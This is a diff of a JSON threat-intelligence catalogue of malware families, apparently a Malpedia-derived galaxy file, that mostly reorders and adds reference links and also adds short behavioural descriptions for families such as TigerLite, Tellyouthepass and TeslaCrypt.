"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a" + "https://web.archive.org/web/20230209123148/https://www.cybereason.com/hubfs/THREAT%20ALERT%20GootLoader%20-%20Large%20payload%20leading%20to%20compromise%20(BLOG).pdf", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", + "https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/", + "https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.proofpoint.com/us/threat-insight/post/systembc-christmas-july-socks5-malware-and-exploit-kits", + "https://www.crowdstrike.com/blog/hypervisor-jackpotting-lack-of-antivirus-support-opens-the-door-to-adversaries/", + "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", + "https://asec.ahnlab.com/en/33600/", + "https://docs.velociraptor.app/exchange/artifacts/pages/systembc/", + "https://community.riskiq.com/article/47766fbd", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", + "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", + "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", + "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://cyber.wtf/2023/02/09/defeating-vmprotects-latest-tricks/", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.reliaquest.com/blog/gootloader-infection-credential-access/", + "https://news.sophos.com/en-us/2020/12/16/systembc/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy", + "https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://securelist.com/focus-on-droxidat-systembc/110302/", + "https://www.logpoint.com/en/blog/emerging-threat/defending-against-8base/", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor" ], "synonyms": [ - "Coroxy" + "Coroxy", + "DroxiDat" ], "type": [] }, @@ -46507,10 +48699,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.szribi", - "https://www.virusbulletin.com/virusbulletin/2007/11/spam-kernel", "https://www.secureworks.com/research/srizbi", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", "https://www.fireeye.com/blog/threat-research/2008/11/technical-details-of-srizbis-domain-generation-algorithm.html", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf" + "https://www.virusbulletin.com/virusbulletin/2007/11/spam-kernel" ], "synonyms": [], "type": [] @@ -46536,16 +48728,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor", - "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", "https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", - "https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", "http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html", + "https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88_v1", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf", - "https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88_v1" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a" ], "synonyms": [ "simbot" @@ -46612,13 +48804,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany", - "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-targetcompany-ransomware-victims/", - "https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/", "https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html", + "https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/", + "https://unit42.paloaltonetworks.com/mallox-ransomware/", + "https://asec.ahnlab.com/en/39152/", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-targetcompany-ransomware-victims/", "https://www.sangfor.com/blog/cybersecurity/new-threat-mallox-ransomware", - "https://id-ransomware.blogspot.com/2021/06/tohnichi-ransomware.html", + "https://news.sophos.com/en-us/2022/07/20/ooda-x-ops-takes-on-burgeoning-sql-server-attacks/", "https://blog.cyble.com/2022/12/08/mallox-ransomware-showing-signs-of-increased-activity/", - "https://asec.ahnlab.com/en/39152/" + "https://id-ransomware.blogspot.com/2021/06/tohnichi-ransomware.html", + "https://www.trendmicro.com/en_us/research/23/f/xollam-the-latest-face-of-targetcompany.html" ], "synonyms": [ "Fargo", @@ -46648,13 +48843,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer", - "https://blog.minerva-labs.com/taurus-stealers-evolution", - "https://www.aon.com/cyber-solutions/aon_cyber_labs/agentvx-and-taurus/", - "https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/an-in-depth-analysis-of-the-new-taurus-stealer/", "https://www.zscaler.com/blogs/research/taurus-new-stealer-town", + "https://blog.minerva-labs.com/taurus-stealers-evolution", "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md" + "https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers", + "https://www.secureworks.com/research/the-growing-threat-from-infostealers", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/agentvx-and-taurus/", + "https://outpost24.com/blog/an-in-depth-analysis-of-the-new-taurus-stealer/" ], "synonyms": [], "type": [] @@ -46684,8 +48881,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer", "https://securityintelligence.com/hammertoss-what-me-worry/", "https://www.youtube.com/watch?v=UE9suwyuic8", - "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58" ], "synonyms": [ "HAMMERTOSS", @@ -46713,8 +48910,7 @@ "description": "Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer.\r\nThis is achieved by sideloading another DLL among the legit TeamViewer.", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.teambot", - "https://research.checkpoint.com/finteam-trojanized-teamviewer-against-government-targets/" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.teambot" ], "synonyms": [ "FINTEAM" @@ -46729,10 +48925,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teamspy", - "https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/", - "https://www.deepinstinct.com/blog/the-russian-spyagent-a-decade-later-and-rat-tools-remain-at-risk", - "https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging", "https://blog.avast.com/a-deeper-look-into-malware-abusing-teamviewer", + "https://www.deepinstinct.com/blog/the-russian-spyagent-a-decade-later-and-rat-tools-remain-at-risk", + "https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging", "https://www.cyber.nj.gov/threat-center/threat-profiles/trojan-variants/spy-agent" ], "synonyms": [ @@ -46746,42 +48942,42 @@ "value": "TeamSpy" }, { - "description": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.", + "description": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file \u201cgracious_truth.jpg\u201d, which likely has a fake JPG header. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teardrop", - "https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714", - "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", "https://www.brighttalk.com/webcast/7451/462719", "https://github.com/fireeye/sunburst_countermeasures", - "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", - "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", - "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", - "https://twitter.com/TheEnergyStory/status/1346096298311741440", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b", - "https://twitter.com/craiu/status/1339954817247158272", - "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://www.youtube.com/watch?v=LA-XE5Jy2kU", "https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader", - "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", - "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", - "https://www.youtube.com/watch?v=GfbxHy6xnbA", - "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", - "https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate", - "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", - "https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", "https://twitter.com/TheEnergyStory/status/1342041055563313152", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", + "https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate", + "https://www.youtube.com/watch?v=GfbxHy6xnbA", + "https://twitter.com/craiu/status/1339954817247158272", + "https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714", + "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", + "https://www.youtube.com/watch?v=LA-XE5Jy2kU", + "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", + "https://twitter.com/TheEnergyStory/status/1346096298311741440", + "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "https://unit42.paloaltonetworks.com/atoms/solarphoenix/", "https://www.mandiant.com/resources/unc2452-merged-into-apt29", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/" + "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", + "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline" ], "synonyms": [], "type": [] @@ -46833,11 +49029,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot", - "https://www.secureworks.com/research/threat-profiles/iron-viking", + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine", "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks" + "https://www.secureworks.com/research/threat-profiles/iron-viking" ], "synonyms": [], "type": [] @@ -46850,9 +49046,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teledoor", - "https://www.secureworks.com/research/threat-profiles/iron-viking", + "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html", "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/", - "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html" + "https://www.secureworks.com/research/threat-profiles/iron-viking" ], "synonyms": [], "type": [] @@ -46900,7 +49096,7 @@ "value": "Teleport" }, { - "description": "", + "description": "According to PCrisk, Tellyouthepass is one of many ransomware-type programs used to block access to files by encryption and keep them in this state unless a ransom is paid.\r\n\r\nThe program renames all encrypted files by adding the \".locked\" extension and creates a ransom message in a text file called \"README.html\". For example, \"1.jpg\" is renamed by Tellyouthepass to \"1.jpg.locked\".\r\n\r\nAccording to cyber criminals, this ransomware encrypts data using RSA-1024 and AES-256 cryptography algorithms.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass", @@ -46943,10 +49139,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat", - "https://documents.trendmicro.com/assets/wp/wp-fakem-rat.pdf", - "https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf", "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", - "https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf" + "https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf", + "https://documents.trendmicro.com/assets/wp/wp-fakem-rat.pdf" ], "synonyms": [ "Fakem RAT" @@ -46962,8 +49158,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.termite", "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/", - "https://www.mandiant.com/resources/evolution-of-fin7", - "https://www.alienvault.com/blogs/labs-research/internet-of-termites" + "https://www.alienvault.com/blogs/labs-research/internet-of-termites", + "https://www.mandiant.com/resources/evolution-of-fin7" ], "synonyms": [], "type": [] @@ -46976,9 +49172,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terrapreter", - "https://www.esentire.com/web-native-pages/unmasking-venom-spider", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" + "https://www.esentire.com/web-native-pages/unmasking-venom-spider" ], "synonyms": [], "type": [] @@ -46992,11 +49188,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_loader", "https://medium.com/walmartglobaltech/a-re-look-at-the-terraloader-dropper-dll-e5947ad6e244", - "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader--congrats-you-have-a-new-fake-job-", "https://www.esentire.com/web-native-pages/unmasking-venom-spider", - "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", - "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader--congrats-you-have-a-new-fake-job-", + "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", + "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", + "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire" ], "synonyms": [], "type": [] @@ -47027,10 +49223,10 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer", "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://github.com/eset/malware-ioc/tree/master/evilnum", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", "https://twitter.com/3xp0rtblog/status/1275746149719252992", - "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" + "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", + "https://github.com/eset/malware-ioc/tree/master/evilnum", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" ], "synonyms": [ "SONE", @@ -47047,9 +49243,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_tv", - "https://blog.minerva-labs.com/taurus-user-guided-infection", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://blog.minerva-labs.com/taurus-user-guided-infection", "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9" ], "synonyms": [ @@ -47061,21 +49257,21 @@ "value": "TerraTV" }, { - "description": "", + "description": "According to Kaspersky, detected in February 2015, the new ransomware Trojan gained immediate notoriety as a menace to computer gamers. Amongst other types of target files, it tries to infect typical gaming files: game saves, user profiles, recoded replays etc. That said, TeslaCrypt does not encrypt files that are larger than 268 MB. Recently,", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt", - "https://securelist.com/teslacrypt-2-0-disguised-as-cryptowall/71371/", - "https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla", - "https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/", - "https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/", - "https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/", "https://blogs.cisco.com/security/talos/teslacrypt", - "https://blog.christophetd.fr/malware-analysis-lab-with-virtualbox-inetsim-and-burp/", - "https://community.riskiq.com/article/30f22a00", - "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", + "https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/", "https://blog.checkpoint.com/wp-content/uploads/2016/05/Tesla-crypt-whitepaper_V3.pdf", - "https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack" + "https://community.riskiq.com/article/30f22a00", + "https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/", + "https://securelist.com/teslacrypt-2-0-disguised-as-cryptowall/71371/", + "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", + "https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla", + "https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/", + "https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack", + "https://blog.christophetd.fr/malware-analysis-lab-with-virtualbox-inetsim-and-burp/" ], "synonyms": [ "cryptesla" @@ -47090,9 +49286,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower", - "https://www.sygnia.co/mata-framework", "https://cyber.gc.ca/en/alerts/tflower-ransomware-campaign", - "https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/" + "https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/", + "https://www.sygnia.co/mata-framework" ], "synonyms": [], "type": [] @@ -47174,15 +49370,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/", - "https://www.bleepingcomputer.com/news/security/thunderx-ransomware-rebrands-as-ranzy-locker-adds-data-leak-site/", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", "https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-ttps", + "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.bleepingcomputer.com/news/security/thunderx-ransomware-rebrands-as-ranzy-locker-adds-data-leak-site/", "https://www.ic3.gov/Media/News/2021/211026.pdf", "https://id-ransomware.blogspot.com/2020/08/thunderx-ransomware.html", "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/" + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3" ], "synonyms": [ "Ranzy Locker" @@ -47209,9 +49405,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool", + "http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/", "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", - "http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" ], "synonyms": [], @@ -47220,18 +49416,38 @@ "uuid": "8e7cdcc2-37e1-4927-9c2d-eeb3050c4fca", "value": "Tidepool" }, + { + "description": "TigerLite is a TCP downloader.\r\n\r\nIt creates mutexes like \"qtrgads32\" or \"Microsoft32\".\r\n\r\nIt uses RC4 with the key \"MicrosoftCorporationValidation@#$%^&*()!US\" for decryption of its character strings, and a custom algorithm for encryption and decryption of network traffic. \r\n\r\nIt supports from 5 up to 8 commands with the following identifiers: 1111, 1234, 2099/3333, 4444, 8877, 8888, 9876, 9999. The commands mostly perform various types of execution - either of code received from the server, or native Windows commands, with their output collected and sent back to the server.\r\n\r\nTigerLite is an intermediate step of a multi-stage attack, in which Tiger RAT is usually the next step. This malware was observed in attacks against South Korean entities in H1 2021.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.tigerlite", + "https://threatray.com/wp-content/uploads/2021/12/threatray-establishing-the-tigerrat-and-tigerdownloader-malware-families.pdf", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", + "https://ti.qianxin.com/blog/articles/Analysis-of-attacks-by-Lazarus-using-Daewoo-shipyard-as-bait/", + "https://www.malwarebytes.com/blog/threat-intelligence/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1fcd1afe-31ed-40c2-9262-6a6afe2a43e9", + "value": "TigerLite" + }, { "description": "This is third stage backdoor mentioned in the Kaspersky blog, \"Andariel evolves to target South Korea with ransomware\". The third stage payload was created via the second stage payload, is interactively executed in the operation and exists in both x64 and x86 versions. Most of them use Internet Explorer or Google Chrome icons and corresponding file names to disguise themselves as legitimate internet browsers. The malware decrypts the embedded payload at runtime. It uses an embedded 16-byte XOR key to decrypt the base64 encoded payload. The decrypted payload is another portable executable file that runs in memory. Before getting decrypted with a hardcoded XOR key, the backdoor also checks for sandbox environment.\r\nThe backdoor has some code overlap with a know malware family PEBBLEDASH, attributed to Lazarus/LABYRINTH CHOLLIMA.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat", - "https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/", + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Lazarus-%EA%B7%B8%EB%A3%B9%EC%9D%98-NukeSped-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C.pdf", "https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html", - "https://threatray.com/wp-content/uploads/2021/12/threatray-establishing-the-tigerrat-and-tigerdownloader-malware-families.pdf", - "https://www.brighttalk.com/webcast/18282/493986", - 